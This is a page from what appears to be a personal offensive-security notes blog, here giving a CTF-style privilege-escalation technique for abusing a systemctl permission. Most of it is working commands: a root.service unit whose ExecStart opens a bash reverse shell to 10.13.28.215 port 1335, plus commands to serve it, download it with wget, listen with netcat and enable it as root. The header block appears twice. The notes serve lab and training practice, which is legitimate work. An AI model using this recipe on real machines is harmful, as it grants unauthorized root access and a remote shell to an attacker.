boot767 notes · 24 posts

Every Shell Leaves a Trace

I keep what I learn about offensive security here: my notes from CTFs, certifications and university, plus the walkthroughs I write when a box is worth sharing. It's organized the way I work a box. Recon first, then a foothold, then privilege escalation, then the rest of the network.

latest transmission · 2026-11-19Collection of OSINT Tools and Resources
boot767 notes · 24 posts

Every Shell Leaves a Trace

I keep what I learn about offensive security here: my notes from CTFs, certifications and university, plus the walkthroughs I write when a box is worth sharing. It's organized the way I work a box. Recon first, then a foothold, then privilege escalation, then the rest of the network.

latest transmission · 2026-11-19Collection of OSINT Tools and Resources

Abusing /bin/systemctl

When a low-privileged user can run /bin/systemctl, that is enough to start a service that runs as root. Create a root.service file with a reverse shell in its ExecStart:

[Unit]
Description=roooooooooot

[Service]
Type=simple
User=root
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/10.13.28.215/1335 0>&1'

[Install]
WantedBy=multi-user.target

Serve it from the attack box:

python3 -m http.server 8000

Find a writable folder or directory on the victim:

find -type d -maxdepth 2 -writable

From within the writable area on the victim, pull the file down:

wget http://10.13.28.215:8000/root.service

Start a netcat listener on the attack box:

nc -lvnp 1335

Then enable and start the service on the victim:

/bin/systemctl enable /tmp/root.service
/bin/systemctl start root